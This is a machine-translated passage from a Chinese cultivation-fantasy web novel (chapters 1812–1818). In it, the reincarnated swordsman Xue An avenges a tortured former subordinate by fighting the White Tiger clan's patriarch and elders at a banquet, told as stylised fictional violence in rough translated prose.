    This was originally an unsolvable dilemma.


    But Yaozu has a very strange characteristic that changes all of this.


    When two powerful monsters with high enough talents combine, they will surely give birth to two offspring who each inherit one bloodline, and their talents will become stronger.


    This also led to the value of talented people among the monster race.


    It was for this reason that Li Xiaoling was salivating at Ao Shu before.


    "Then what are you going to do?" Xue An asked in a deep voice.


    Hu Ye firmly shook his head, "Of course I refused, because I already have A Rou, so I must not do anything I''m sorry to A Rou!"


    Xue An looked at Huye with admiration, because he knew how much courage Huye needed to make this decision.


    That was a marriage contract jointly appointed by the elder of the Fox Country of Qingqiu and the previous White King!


    In addition, the other party is still an abnormal brain....


    When I think about it, Xue An feels a little sympathetic to Fox Night.


    "Actually, to be honest, this Ao Yi doesn''t like me, because my previous reputation for cynicalism and carelessness has passed into her ears! But she doesn''t like me, but it doesn''t mean she wants to see A Rou''s. Exist, especially her brain still has problems. Once we meet, there will definitely be big trouble!" Hu Ye sighed.


    "That''s why you don''t want to see her?" Xue An asked.


    "Nonsense, as if you would like to see that crazy lady!" Hu Ye said angrily.


    Xue An shook his head, "I have a clear conscience again, why don''t I want to see her?"


    "Cut, I know you have a clear conscience, but would Ao Yi think so? She must be gritting her teeth and hating you now, thinking that you are a **** who played with her sister''s feelings!"


    "You''re wrong! Because of this, I want to see her even more. Because there are some things, I have to say clearly in person!" Xue An said lightly.


    "What if she doesn''t want to listen to you?"


    "Then fight until she is willing to listen to me!" Xue An said lightly.


    Fox Ye was shocked, and then gave a thumbs up with admiration, "Awesome, you are still ruthless, so I didn''t say anything to my sister, and I was planning to beat my sister!"


    A black line appeared on Xue An''s forehead, "I **** say it again, I haven''t provoke Ao Shu!"


    "You mean it is voluntary!"


    "..."


    "No more nonsense, believe it or not, I will squeeze all your tail hair down?"


    Just as Xue An and Hu Ye were having a cordial and friendly conversation at the door.


    Xue An suddenly stopped talking, then turned his head to look into the distance, and said with a smile but a smile: "Fox Ye, this white tiger clan is really warm to you!"


    "What do you mean?" Hu Ye was taken aback.


    Seeing Li Mou with a smile on his face, leading a group of handsome and enchanting young boys approaching.


    After Hu Ye approached, Li Shou stopped, and the boys also stood still.


    Then Li Mou smiled at Fox Ye.


    "Mr. Fox, don''t you think that gang of maids doesn''t suit your taste? Then do you think these gang of young men can still be in your eyes? This is the best thing I have finally collected!"


    As he said, he turned his head and yelled at the boys: "I haven''t seen Master Fox soon!"


    This group of boys immediately yelled charmingly.


    "The slave family has seen Master Fox!"


    The voice is charming and charming, but it makes you get goose bumps all over your ears.


    At least Xue An took a few steps back without moving a look and then sent a message to Fox Ye who was in a sluggish state.


    "Brother, I didn''t expect you to have a good mouthful, enjoy it!"


    After all, Xue An turned around and left in a hurry.


    Li Mou didn''t pay attention to Xue An at all. At this moment, he was looking at Fox Ye with a smile, and then asked.


    "How is it? How many of them should Master Fox choose? Or should I keep them all?"


    Hu Ye slowly turned his neck and looked at the overly enthusiastic chief elder with an extremely faint look.


    "Elder Li!"


    "Ok?"


    "You are really good, you can collect so many best products!"


    "Thank you! What do you mean... leave it all?"


    Hu Ye almost vomited blood and died, and his eyes were red with anger, "Leave you a XX, let them go! Get me far away!"

 Chapter 1813： Patriarch White Tiger

    This is a dark water prison filled with blood that is dirty enough to make people lose all resistance.


    Even the most filthy demons would stay away from such a place.


    But even in such a place where it is almost impossible to survive, there is a monster race that is stubbornly surviving.


    But at this moment, they are also approaching the limit, and even their mentality is a bit unclear.


    And what the White Tigers want is precisely this effect.


    With the sound of clawing metal, the long-dust-covered prison door was slowly pushed open, and a long-lost fresh air poured into it, but most of the people were unable to get up a long time ago and could only curl up in the corner of the water prison dying. Among.


    Only the Monster Race with the strongest cultivation base can sustain it until now, and slowly raised its head after hearing the sound of opening the door.


    The person who opened the prison door was obviously too choked by the rotten air inside, and he covered his nose and said with disgust, "It''s so stinking, what a bunch of lowly monsters!"


    Following the voice, the man said in a sullen voice: "Okay, you **** have a good day. The young master has ordered all of you to come out for today''s dinner. If anyone can be confused The guests participating in the banquet will be rewarded by the young master!"


    Still quiet in the dungeon.


    The messenger raised his eyebrows slightly, and said with a grin: "What are you still doing in a daze? Why don''t you thank you?"


    Still no one spoke.


    In fact, there are very few who can stay sober until now, so after hearing this person''s words, they just looked at him coldly.


    The messenger was terrified by these gazes. He couldn''t help but wince his neck, and then muttered: "What a bunch of stubborn guys, I really don''t understand why Master Young Master kept you until now!"


    Having said that, he hurriedly backed out.


    Calm was restored in the dungeon, but only a moment later, I heard the sound of metal rubbing under the water.


    Immediately afterwards, the ground of the dungeon began to climb, and eventually all the blood disappeared without a trace, leaving only the bones accumulated at the bottom of the pool.


    Some of these bones even maintained the posture they had before their lives, struggling with twisted bodies, which shows how much pain they suffered during their lives.


    at last.


    The remaining people started to move a little bit, but before they were completely awake, someone walked into the dungeon holding a seal, and then printed a token on each of their brows.


    Click!


    With the sound of a shock that reached the depths of their souls, these people were confused after being stamped with a symbol, and then gradually showed a complete and thorough obedient color in their eyes.


    "The young master meant to let you get close to the goal at all costs, do you understand?"


    All the demons present nodded.


    "Very good! After the event is done, the one who contributed the most will be released. This is a once-in-a-lifetime opportunity for you, so you must grasp it!"


    After that, the man sneered and left.


    But just as he left, in the corner of the group of water prisons, a person''s originally confused eyes suddenly showed a ray of light, and then he turned into a woman''s figure.


    This woman was born with double ears for the first time, with a graceful figure, and she is a rare jade rabbit monster.


    It''s just that at this moment, her body is covered with large and small scars, and her whole person is extremely weak.


    But despite this, she was different from the monster races who had been completely controlled by the runes. Her eyes were clear, and then she looked down at the tired bones under her feet.


    "The tribe...revenge...sir!"


    She murmured vaguely, a trace of blood and tears dripping from the corner of her eye.


    In fact, there is no distinction between day and night in this Baihu clan.


    Because there is no sun or similar stars here, all the light is replaced by the round of symbols in the void.


    But because of the conventions in the heavens, these white tiger monster races still divide it into day and night.


    At this moment, when it was nightfall, the entire Baihu tribe was brightly lit, and it was a lively scene.


    Even many tribesmen who were dispatched to patrol the country were called back.


    Because this dinner was set up to welcome an important guest.


    Because of the previous misunderstanding, before the banquet started, Li Xu personally led people to greet him.


    This time Li Xianling also followed along.


    After seeing Fox Ye, Li Mou smiled awkwardly.


    "Master Fox, the dinner party is ready, let''s pass now!"


    Hu Ye glanced at this Li Shou without angrily. To tell the truth, he really wanted to strangle the chief elder of the White Tiger Clan who was too enthusiastic at the same time.


    But in order to take into account the overall situation, he could only bear it down, and said without a smile: "Okay! Let''s go now, I just hope that this time there will be no more moths!"


    Li Mou slapped his chest when he heard the words, "Don''t worry, Mr. Fox, I know your thoughts, and I will never dare to have any more extravagances! Even this dinner is specially prepared by the head of my family to welcome you!"


    Only then did Fox Ye let out a sigh, "That''s good! Let''s go, let''s go early and return early!"


    The banquet hall is arranged in the center of the Baihu clan. Although it is in the void, it is full of magnificent tall buildings because of the Baihu clan''s long-term management.


    The banquet hall is one of the most extensive and most important.


    When Huye, Xue An and others followed Li Mou and his son into the banquet hall, many members of the Baihu tribe had already gathered here.


    These members of the White Tiger tribe are usually scattered throughout the Yao tribe, and they will be called back only when they encounter something important.


    This time coincided with the Dragon Clan��s Ao Shu celebration, so these demon clan sent out basically all gathered here.


    In terms of identity and status, these Baihu tribesmen are far inferior to Li Mou and his son, so when they saw them, the noisy banquet hall instantly quieted down, and then these tribesmen bowed to salute.


    "I have seen the Chief Elder I have seen the Young Master!"


    Amidst the shouts, Li Mou and his son couldn''t help showing triumphant expressions, nodded slightly, and then said to Huye.


    "Master Fox, these are all members of my White Tiger tribe, you don''t have to be restrained, you can do whatever you want!"


    While talking, there was a sudden noise at the entrance of the banquet, and a scrawny but fierce old man led a group of people walking in.


    As soon as he saw this old man, the arrogant Li Li and his son immediately changed into a flattering color, nodded and bowed to greet him.


    The old man nodded noncommittal, but his attention was all focused on Fox Ye.


    Regardless of how old the old man is, his eyes were surprisingly sharp, and then he walked over.


    Hu Ye couldn''t help but feel a little worried, because he recognized the person who came.


    This old man is the patriarch of the White Tiger clan, and the absolute core of the demon clan. This is also the Li Slaughter known as the Old Man Slaughter!

 Chapter 1814： I ask again, who did it?

    With such an identity, even the Great Elder of the Qingqiu Fox Country had to nod slightly.


    What''s more, Fox Ye, a junior.


    Therefore, he could only take a step forward before Li Tuluo got close, bowed and said: "Nine-tailed fox clan Fox Night, I have seen Patriarch Li!"


    Li Tuluo''s eyes were sharp as a sword. After swiping from Huye''s body, he glanced at Xue An and the others behind him. He didn''t see anything unusual, and then he laughed.


    When this seemingly old man laughed, he looked like a young man who was fresh and ambitious at the same time.


    The coldness and unscrupulousness is simply chilling.


    Then he heard him say softly: "The visit of Master Fox from Qingqiu Fox Country is the honor of my White Tiger clan. You don''t have to be so polite!"


    The voice is gentle and deep, but it contains supreme majesty, like a king who speaks the law, making people just want to worship.


    Hu Ye knew that all of this was because the white tiger patriarch''s cultivation was too deep, and he was only a little short of being promoted to the realm of the emperor, so he couldn''t control the leaked spirit in his speech and behavior.


    This kind of strength can be regarded as the second to none among the monster races that are born in large numbers.


    Therefore, Fox Ye stunned, and said, "Patriarch Li has praised him absurdly. The next one is just an ordinary monster from Qingqiu Fox Country. I really can''t afford such praise!"


    Li Tulu laughed loudly when he heard the words, "If even the best of the younger generation of monsters claim to be ordinary monsters, then no one would dare to call themselves high monsters! Since the nephew is here today, then Let go of your restraints and come, you and I will sit together!"


    This face can be said to give enough to the Fox night!


    Moreover, Hu Yefen couldn''t help but Li Tuluo grabbed Hu Ye''s wrist and took him to the banquet in the first place.


    Fox Ye groaned secretly in his heart.


    He is not a fool either. After this period of thinking, he naturally understood the reason why the Baihu clan treated him so politely.


    This is clearly the rhythm of the White Tigers wanting to turn their faces with the Dragons!


    And he is a perfect excuse. As long as the Baihu clan pulls himself into the water, the Qingqiu Fox Country will become a gun against the dragon clan.


    When the time comes, the white tiger clan can sit on the mountain and watch the tiger fight, and take advantage of the fisherman''s profit!


    These thoughts flashed out of Hu Ye''s mind, but there was nothing to do. In a hurry, he could only look at Xue An in the distance.


    However, he did not expect that Xue An at this time did not even look at him, but looked at the entire venue thoughtfully.


    This guy...what is he touching everywhere? Hu Ye couldn''t help but wonder.


    But then these thoughts were overwhelmed by the flattery of the Baihu clan.


    Under all kinds of flattery, Hu Ye was a little dizzy and couldn''t help but once again turned to Xue An for help.


    But this time he was disappointed again.


    Because at this moment, Xue Anzheng was looking at everything in the banquet hall with great interest, and he simply ignored Fox Night.


    Huye''s heart gradually sank to the bottom.


    Old Xue, what are you doing?


    at the same time.


    Li Mulechong Patriarch Li Tulu smiled and said, "Master Patriarch, can you have some fun?"


    Li Tuluo smiled, "Okay! It happens that Master Fox is here today, so let him see it too!"


    "it is good!"


    Li Mule slapped his face.


    A group of dressed-up demon women walked into the banquet hall.


    These women are all stunning.


    But this is not uncommon, because the Yaozu women are more prettier than the Human women.


    The most important thing is that these monster women all have a temperament that I see pity, especially when they blink their big innocent eyes and look around with a confused face, it can inspire the deepest protective desire of all men.


    So their arrival also caused a big sensation in the field.


    Many elders or high-level officials of the White Tiger tribe are coveting these women.


    If it weren''t for being in front of everyone, they might have rushed on the spot.


    Even so, there are still many people just about to move.


    Among the audience, only Xue An''s eyes shone brightly, and even his fingers turned white due to excessive force.


    Li Shou laughed unconsciously, "Our Baihu clan is honored this time by Mr. Fox''s visit, and these women are here to cheer up!"


    With that said, these women walked towards the fox night like string puppets.


    Although the performance is dull, this feeling is different.


    And not only him, but even Hu Ying and even Xue An and others have their own arrangements.


    Hu Ye wanted to decline, but when he saw the deep meaning in Li Shou''s eyes. Still swallowed the words behind.


    Because he knew that if he refused, these women might be killed on the spot.


    Therefore, he could only suppress the unhappiness in his heart by force, and smiled reluctantly: "There are hard-working elders who bother..."


    Before he finished his words, he heard a crisp bang, and the cases in front of Xue An were directly broken, including the dinner plate and tea set on it.


    Then he stood up with cold eyes, pointed at the woman in front of him, and said lightly: "Who did it?"


    The audience was silent.


    Including Fox Night, everyone was shocked.


    Xue An raised his eyebrows slightly, "I''ll ask again, who did the injury on her body?"


    Hu Ye trembled slightly, then said anxiously: "Old Xue, what''s the matter?"


    Xue An took a deep breath, "This woman is my former subordinate!"


    As soon as he said this, Hu Ye couldn''t help but change his face.


    "what happened?"


    "What''s the matter? Hehe, this needs to ask these guys!" Xue An sneered.


    In fact, just now, it was the Yutu Banshee in the water prison who was sent to serve Xue An.


    As soon as this woman who had been tortured to the point of ignorance approached Xue An, and before she could speak, Xue An had noticed the strangeness and said with a cold face, "It''s you?"


    The banshee first looked at Xue An with a confused face, and didn''t gradually recognize Xue An until a long while later, and then said very excitedly: "Honglian...Master Honglian? Are you Master Honglian?"


    As he spoke, tears came out of his eyes, and the tears contained infinite grievances.


    As for Xue An, there was a terrible rage burning in his eyes.


    All because of the fact that this woman and the ethnic group to which she belongs are all of Xue An''s subordinates when she was Xianzun.


    Yutu clan!


    This ethnic group that sounds very gentle and does not seem to have any destructive power, but before it was a large component of the monster race.


    Although this race does not have a tyrannical bloodline, it has a unique ability, which is to watch the wind.


    It is also because of this ability that they have avoided several catastrophes and have survived to this day.


    Especially when they devoted themselves to Xue An��s camp without hesitation, Xue An��s momentum became even stronger and finally became the well-deserved first person among the heavens.


    Unexpectedly, Xue An eventually fell on the Tribulation of the Immortal Venerable, and the Jade Rabbit Clan also did not know what to do.


    Until today.


    When Xue An saw the bruised Jade Rabbit in front of him, he couldn''t help being completely furious.


    Even Hu Ye had never seen Xue An so angry.


    The mighty power resounded in the field like a stormy sea.


    At this moment, the Baihu tribe in charge of the water jail said steadily, "What''s wrong? It''s just a cheap maid bought. Isn''t it normal to be beaten a few times?"


    The voice just fell.


    The figure of this Baihu tribe swelled suddenly, and then it was directly fried into powder.


    Blood sprayed most of the banquet hall.


    Xue An slowly raised his eyes to look at the patriarch Li Slaughter, "I''ll ask again, who did it?"

 Chapter 1815： Are you questioning me?

    Hearing anger envelops the entire banquet hall with heavy blood.


    Everyone was stunned by this scene.


    Someone dared to kill people directly in this banquet hall in front of the chief patriarch.


    How courage does this person really have?


    really.


    Li Tulu''s complexion gradually turned gloomy, staring at Xue An, and then sneered.


    "Listening to you, it seems to be questioning me?"


    Following this sentence, the violent coercion pounced on Xue An like a stormy sea.


    This coercion was so terrifying, and only after the aftermath, it shocked many people pale and retreated.


    One can imagine how much pressure Xue An should be under.


    If you change to a general powerhouse, you may collapse on the spot, but Xue An didn''t even blink his eyelids, as if everything was just a breeze, and slowly said: "The answer is yes or no, the rest of the nonsense... Stop talking!"


    boom!


    As soon as this remark came out, the audience was shocked.


    Especially these Baihu people were in an uproar.


    "Is this kid getting frustrated? How dare to talk to the patriarch like this?" Someone asked in astonishment.


    "Haha, I''m so impatient to live!" Someone sneered.


    Under this boiling situation, Li Tu Lian Jiejie laughed strangely.


    "Interesting, really interesting! No one has dared to talk to me like this for a long time, you are the first one!"


    As he said, he turned his head to look at Fox Ye, and said faintly: "Young Master Fox, this is here with you, so I want to know, does his attitude represent your Qingqiu Fox Country? Or just Only represents himself?"


    These words are very clever.


    If Fox Ye is unwilling to intervene in this matter, as long as one sentence only represents himself, then this matter has nothing to do with Qingqiu Fox Country.


    This was also Li Tulu''s plan, after all, he didn''t want to turn his face with Hu Ye.


    He felt that his intention, the future heir of the Qingqiu Fox Country, would definitely be able to see through.


    And as long as it is a normal-minded person, it will make the right choice.


    But I never expected that in the face of Li Tulu''s questioning, Hu Ye shrugged slightly, and said with a smile: "Although I don''t want to say it, his words also represent what I mean!"


    This response not only stunned Li Tuluo, but even the father and son Li Mou and Li Xiaoling were stunned on the spot.


    Is this going to turn his face with the Baihu clan?


    Just for a trivial maid?


    Li Tuluan deserves to be a patriarch who has experienced strong winds and waves. He quickly recovered his sobriety, and then said coldly.


    "Fox Night, I hope you can think clearly about what your words mean! It''s worth fighting against my white tigers for the sake of a humble human race!"


    "Humble human race?" Fox Ye laughed presumptuously as if he had heard the most ridiculous joke in the world.


    Amidst the laughter, many elites of the White Tiger clan gathered silently and got ready.


    After laughing for a full minute, Hu Ye gradually reduced his smile, and then looked at Xue An narrowly.


    "Old Xue, did you hear that? He called you a humble human race! I really laughed at me, hahahaha!"


    Xue An didn''t even have a trace of expression, but looked at Li Slaughter in the distance with a waveless gaze.


    "If you say that, they..." Xue An pointed to the Yutu women.


    "Is it the way you are now?"


    "What about it?" Li Tuluo replied coldly, full of anger.


    Because he really didn''t expect that a good dinner party would become what it is now.


    For the sake of an insignificant lowly servant, some people slaughtered his own people in front of him, and then even the people from the Fox Country of Qingqiu turned against him.


    All this made him upset, the angry emotions and even the entire void of the Baihu clan trembles.


    "Very good, just admit it!" Xue An nodded, then lowered his head to look at the tearful Yutu female demon.


    "Are there them?"


    The female demon of the Yutu tribe cried and nodded, already speechless.


    "Don''t cry, then you will keep your eyes open and watch how I made them pay for their actions!"


    As he said, Xue An looked around the audience, and a cold smile appeared at the corner of his mouth.


    "All of you must die!"


    As soon as these words came out, before Li Slaughter could react, Li Xiaoling jumped out first, and shouted loudly, "Where did you guys dare to run wild in my Baihu clan? I will kill you today. !"


    With that, he swooped up.


    Although the strength of this Li Fierce Spirit was not as good as Ao Yi, who was the body of the Immortal King, it was quite impressive.


    Especially because of the bonus of the White Tiger bloodline, he is much stronger than the human monks of the same level.


    This is why he dared to be so arrogant.


    Especially at this moment, in the presence of the great patriarch and many elders in the clan, if he kills the boy in white who doesn''t know where he popped out, it will be great for his prestige.


    With this thought in mind, Li Xiongling smiled and rushed towards Xue An, his eyes full of excitement and cruel light.


    His speed can be described as extremely fast, and he has already crossed most of the banquet hall and rushed to Xue An in just one moment.


    He didn''t wait for any further reaction, but when Xue An suddenly raised his palm in the inconvenient time, he slapped his hand.


    Snapped!


    After a loud noise that was so clear that it was toothless, but seeing the fierce spirit who was still aggressive just now, he was directly fanned out like a kite with a broken line.


    And in the air, he couldn''t control it and vomited several mouthfuls of blood.


    This scene caused a slight commotion among the Baihu tribe.


    at last.


    Li Xioling was able to land, and looking at him at this time, half of his face was swollen and a circle bigger than his head, and his eyes were filled with extremely resentful light.


    He was going crazy.


    What happened in the last few days?


    Why can''t anyone get along with their own face?


    First, Ao Yi almost shot himself out of shape, and now he was stunned by a human youth, and he was still in front of the people.


    How can this not make him angry.


    Xue An seemed to flick an ant away without even blinking his eyelids, he said lightly: "Go on!"


    "Die me!" Li Xiaoling was already on the verge of madness, his eyes were bloodshot, the joints all over his body made a chucking sound, and then the original form of his body appeared.


    It is a white tiger with awe-inspiring power.


    I saw him staring at Xue An coldly, and then rushed forward.


    The fierce and fierce spirit in the body state is more than twice as fast and powerful as before.


    Even many people were too late to react, only seeing a white light coming straight to Xue An.


    Xue An didn''t move, as if he had already entered a certain state.


    Many people sneered in their hearts.


    This kid is dead!


    But in the next instant, the sneers on these people''s faces solidified.


    Because at the moment when Bai Guang rushed to Xue An, a palm shaped like a sapphire jade appeared out of thin air and directly caught the white light.

 Chapter 1816： Chief Li, you have a big deal

    puff!


    The white light dissipated, revealing a fierce spirit inside.


    Looking at him at this time, Xue An''s neck was firmly pinched, and despite his tall figure, he was lifted in the air like nothing.


    Xue An raised his eyes and looked at him quietly, and then coldly said: "You are the first!"


    Somehow, when he came into contact with Xue An''s calm and calm gaze, Li Xioling felt that his energy was emptied in an instant, and great fear emerged in his heart.


    Especially after hearing what Xue An said, he was extremely frightened.


    Because he had never felt the threat of death so close.


    This fear made him want to scream and ask for mercy.


    But everything is too late.


    But seeing Xue An''s hand slammed hard.


    There was a muffled sound.


    Xue Ansheng''s neck was chopped off by Xue Ansheng. The huge tiger head and corpse fell to the ground as the blood was sprayed, and there was a dull loud noise.


    This scene caused the pupils of all the Baihu people to instantly shrink to the size of a needle.


    And not only that, just after Li Xioling was chopped off his neck, a brilliance flew out of his headless corpse, and then fled out at an extremely fast speed.


    It is the spirit of Li Xiongling.


    But Xue An didn''t even leave him this opportunity, and saw him wave his hand casually.


    A ray of sword light flashed away, directly nailing Li Xiongling''s spirit to the ground.


    "Ah, ah, ah, I don''t want to die! Father, patriarch, save me..." Li Xiongling''s spirit struggled painfully on the ground.


    Li Mou exclaimed, "Ferocious spirit!"


    Then he wanted to come to rescue.


    But at this moment, the sword light that pinned Li Xiongling suddenly exploded, completely erasing Li Xiongling''s spirit.


    So far.


    The hapless Young Master White Tiger was completely destroyed.


    The whole process was very simple and neat, and even many people hadn''t even reacted to it. The Li Fierce spirit who was still alive just now became a dead body on the ground.


    Li Mou stared blankly at the dead body on the ground, only to wake up after a while, and then screamed: "I want to kill you..."


    He said he had to rush up.


    But at this moment, a hand suddenly stopped him.


    At this moment, Li Mou was already angry and mad, and anyone who dared to stop him would be torn to pieces.


    But this person alone made him calm down instantly.


    Because it was Li Tuan, the patriarch of the White Tiger clan, who stopped him.


    Li Mou looked at Li Tuluan in astonishment, "Patriarch, I..."


    Li Tulu''s face sank like water, and he said in a deep voice: "Let''s get back first!"


    "Yes...Yes!" Li Mou had to take a step back helplessly, and then stared at Xue An fiercely.


    at the same time.


    Li Tulu stepped forward and looked at Xue An with a solemn expression. After a while, he suddenly said, "Sword repair?"


    Xue An was indifferent.


    "Haha! No wonder the tone was so loud before, it turned out to be a sword repairer in the human race! Dare to ask your Excellency from the Sword Palace? Or Xuan Ming Ling?" Li Tu Lian sneered.


    Xue An still did not speak.


    Li Tuluan''s heart couldn''t help becoming more and more angry, but the strength that Xue Anzhu showed when he killed Li Xiaoling just now made him a little frightened.


    Especially that flash of sword light always made him feel similar.


    That''s why he stopped Li Mou, just to interrogate the young man in white.


    But I didn''t expect that the other party would ignore him at all.


    Li Tulu''s eyelids began to beat slightly.


    Anyone who knows him knows that this is an expression of his extreme anger and murderous intent.


    But after all, he is a big man in charge of the clan. He still calmed down and said with a sneer: "Sword Xiu, don''t think that your own strength can be unscrupulous. It''s you?"


    The corners of Xue An''s mouth gradually raised, revealing a cold but sarcasm smile.


    "Oh? Really! Then we can give it a try to see if you lose under my sword or if I die in your hands, how about?"


    The evil spirit in words is enough to move people.


    And this also blocked all the words Li Tulu wanted to say.


    So far, there is no room for reversal.


    Because if he couldn''t defeat this white-clothed boy, then he would be the patriarch.


    So he roared, "Looking for death!"


    Then raising your hand is a blow.


    As the patriarch of the Baihu clan, he only stepped into the existence of the immortal emperor.


    Li Tuluo''s strength is extremely powerful.


    But he is a very cautious person.


    Especially when he couldn''t see through Xue An''s details, he was unwilling to risk himself.


    So this blow was his temptation.


    Although it was a temptation, it was strong enough.


    I saw a gray brilliance hitting Xue An with a violent posture, and there was a faint cry of ghosts wherever he passed.


    Ghost strike!


    The unique attack method of the White Tiger clan.


    Rumor has it that people killed by tigers will be imprisoned by them and become their accomplices.


    The White Tigers naturally inherited this talent.


    As the top powerhouse of the Monster Race who had survived for thousands of years, there were countless people who died in the hands of Li Tu Slaughter, which led to his extremely powerful blow.


    If it is a general strong, you may not need to do it, just this blow will collapse.


    But at this moment, a brilliant sword light suddenly flashed.


    Wherever he passed, the evils melted like ice and snow.


    As for this ghost strike, it was directly vanished.


    Immediately afterwards, countless phantoms of souls emerged, and the sacred face of Xue Anshen bowed to Xue Anshen, before they dispersed.


    One sword!


    Just a single sword wiped out all the ghosts who had accumulated countless years in Li Tuluo.


    Li Tu Lun almost vomited blood in depression, but the color of fear in his eyes grew stronger.


    Because the sword intent just now was too amazing.


    And the feeling of deja vu in Li Tulu''s heart grew stronger.


    Therefore, he looked at Xue An extremely solemnly, and slowly said, "Who are you?"


    A faint smile appeared on Xue An''s face, "Do you want to know?"


    at the same time.


    Hu Ye sitting on the chair with a grin on the side smiled and said, "Old Xue, don''t tease him, just tell them!"


    Xue An did not speak, but raised his hand and plunged into the void, then slowly pulled out.


    Following his movements, a long sword emerged from the void.


    The biting sword power shook the world.


    And Xue An lightly said: "My name is Xue An, you should have heard this name!"


    boom!


    Li Tulu was struck by lightning, his eyes widened instantly, looking at Xue An in disbelief.


    "you you����."


    You haven''t said why for a long time.


    The Fox night on the side slowly picked up the wine glass on the table and said with a chuckle: "Yes, he is the Red Lotus Immortal Venerable!"


    Then he drank the wine in his glass and sighed softly, "So Chief Li, you have a big deal!"

 Chapter 1817： Sword dance like dragon

    The whole banquet hall is terribly quiet.


    Li Tulu stood still, seeming to have lost all his reactions.


    But as long as you observe carefully, you will find that his eyelids are beating frantically, and a layer of cold sweat appears on his forehead.


    It was only then that he suddenly remembered that this jade rabbit banshee had called Xue An as Lord Honglian before.


    But because there were so many people in the heavens with the name Red Lotus, he just heard it and didn''t care.


    But he didn''t even expect that this young man in white would actually be the famous Red Lotus Immortal Venerable back then.


    No wonder this Fox Night chose to help him!


    It''s ridiculous that I actually said that he was a humble human race before, but now I want to come, it should be me who is humble!


    These thoughts kept flashing in Li Tulu''s heart, with regret and fear.


    But he was also a strong man in charge of the clan, so he quickly recovered his calm, and then took a deep breath and bowed his hand at Xue An.


    "It turned out to be Lord Honglian Xianzun, please forgive me for having no eyesight before, which offended your majesty!"


    This remark caused a slight commotion among the Baihu tribe, and many of them showed shock.


    Because Li Tulu''s attitude clearly placed himself in a very low position.


    This makes many young people feel puzzled.


    Only the elders like Li Mou understood what was going on, and they all remained silent.


    Especially this Li Xu.


    At this moment, he has no more arrogance, and even the depths of his eyes are full of fear.


    Because he had also heard of the name of the Red Lotus Immortal Venerable, when he thought that he had dared to challenge such an existence before, Li Mou felt chills in his heart.


    at the same time.


    After hearing Li Tulu''s words, Xue An''s eyes flickered slightly and said lightly: "It looks like you know me!"


    Li Tulu nodded deeply, and said with some humiliation and unwillingness: "Yes!"


    Xue An nodded, "Very well, if that''s the case, then you can kill yourself!"


    When she said this, Xue An''s tone was very light, as if she was talking about a trivial matter.


    But as soon as this remark came out, the expressions of almost everyone in the audience changed.


    Some people even groaned unrestrainedly.


    As for Li Tuluan, after a moment of stunned, he first gave Xue An a meaningful look, and then said with a cold expression: "Red Lotus Immortal Venerable, are you kidding me?"


    "Joking?" Xue An shook his head, "No, I''m serious! If you do it yourself, it will save me trouble, how about it?"


    Li Tu Lian was so angry that he smirked, a surly color appeared on his face.


    "Red Lotus Immortal Venerable, don��t think that I��m afraid of you by saying a few words of politeness to you. That��s right, you were indeed tyrannical before, but after you reincarnated and reincarnated, you were just proving Dao Immortal King, and I...but half a step Immortal Emperor!"


    Speaking of the last, an extremely powerful force emerged from Li Slaughter''s body, making the audience terrified.


    Even the elders of the Baihu clan like Li Mou couldn''t help but back again.


    Li Mou growled very excitedly: "This is the real strength of the patriarch!"


    In the face of this power, Xue An was also silent.


    Seeing this, Li Tuluo laughed strangely: "Xue An, this incident is just because of a gang of banshees, not to mention that you also killed my blood, which is even equal, so we just expose it, you What do you think?"


    For the cunning and cunning Li Slaughter, there is one way he doesn''t want to do anything with an existence like Xue An.


    As for Li Xiaoling...


    It''s just a descent, if you die, you will die!


    Moreover, in Li Tuluan''s view, his condition was already favorable enough.


    After all, the cause of the whole thing was just for a bunch of banshees!


    Unexpectedly, Xue An only raised his eyebrows when he heard it, and then said with a faint smile: "So, are you not going to kill yourself?"


    Li Tuluo was startled slightly, and then angrily said: "The surname Xue, don''t shame you, I am today..."


    Before he could finish speaking, Xue An took a step forward and then cut out with a sword.


    Mo Wang''an''s sword body trembled lightly, cutting out a sword light that was so dazzling that you dare not look directly.


    Jian Mang came straight to Li Slaughter, blocking all the words behind him.


    Li Tuluo gave a sneer, turned to the side, intending to avoid the sword.


    But this sword followed like a tarsal maggot, like a shadow.


    Li Tuluan was so scared that the souls of the dead were scared, but at this time there was no chance to dodge. In desperation, he had no choice but to force a demon power, and abruptly met the sword.


    boom!


    After a loud noise, the sword light shattered the layers of protection on Li Tuluo''s body like a ruin.


    In the blink of an eye, Jian Guang broke through at least a hundred layers of defense, and then gradually slowed down, and finally broke apart.


    Li Tu Lian let out a snorted snoring, took a half step back, and then his face turned blue, and a look of horror appeared in his eyes.


    He really didn''t expect that Xue An would be so embarrassed to deal with it with just one sword.


    It seems that he still underestimated the strength of the former Immortal Venerable, and his heart became more and more horrified.


    But before he could catch his breath, Xue An showed white teeth and smiled at him sorrowfully.


    "Can you carry it? Then take me a few more swords!"


    As he said, Xue An''s sword danced like a dragon, and several sword lights cut out one after another.


    Li Tulu was horrified, and he screamed and shouted as he ducked from left to right, "Go together, today either he or we are dead!"


    His shout awakened the shocked crowd.


    Li Mou was the first to respond and joined the battle group with a roar.


    Although he did not dare to face Xue An alone, but with the great patriarch in front of him, Li Xu was still willing to fight Taipingquan.


    Not only him, but the rest of the elders have the same thoughts.


    After all, in their opinion, this Xue An alone was enough to deal with the chief patriarch, and people like himself could just take the opportunity to attack.


    But this time, their wishful thinking was wrong.


    Xue An sneered slightly when he saw the White Tigers who had joined the battle group.


    "Okay, then you all go together!"


    After saying this, a little blood-red brilliance suddenly appeared between Xue An''s eyebrows, and then this brilliance spread.


    It wasn''t until this time that people could see clearly what kind of brilliance was there, it was clearly overwhelming, blazing flames!


    What is strange is that despite the fierce fire, everyone can''t feel the slightest heat. On the contrary, under the swaying fire, everyone feels cold in their hearts.


    Upon seeing this, Hu Ye sighed slightly, "I thought I had to help, but now it doesn''t seem necessary!"


    Speaking of this, Fox Ye couldn''t help showing a look of shock in his eyes.


    "Is this old Xue''s strength growing so fast?"


    You must know that when he was on Earth, Xue An paid a very painful price to deal with the Lord of the Abyss, and almost fell into life and death.

 Chapter 1818： Ask the gang of loach for an explanation

    But never expected that only a few months later, when Xue An faced Li Slaughter, who was also the Half-Step Immortal Emperor, again, he was already at ease, and could even bring the rest of the White Tiger tribe to clean up together.


    The growth rate of this strength is simply shocking.


    The sky was full of red lotus karma and the fire fell, and wherever it passed, all the Baihu tribes were instantly ignited like fragile puppets, and then they were turned into nothingness.


    The speed was so fast that these people could not even scream.


    Seeing such a horrible scene, Xue An''s sword intent forced Li Tuxuan to fend off the left and the right, and could only reluctantly parry.


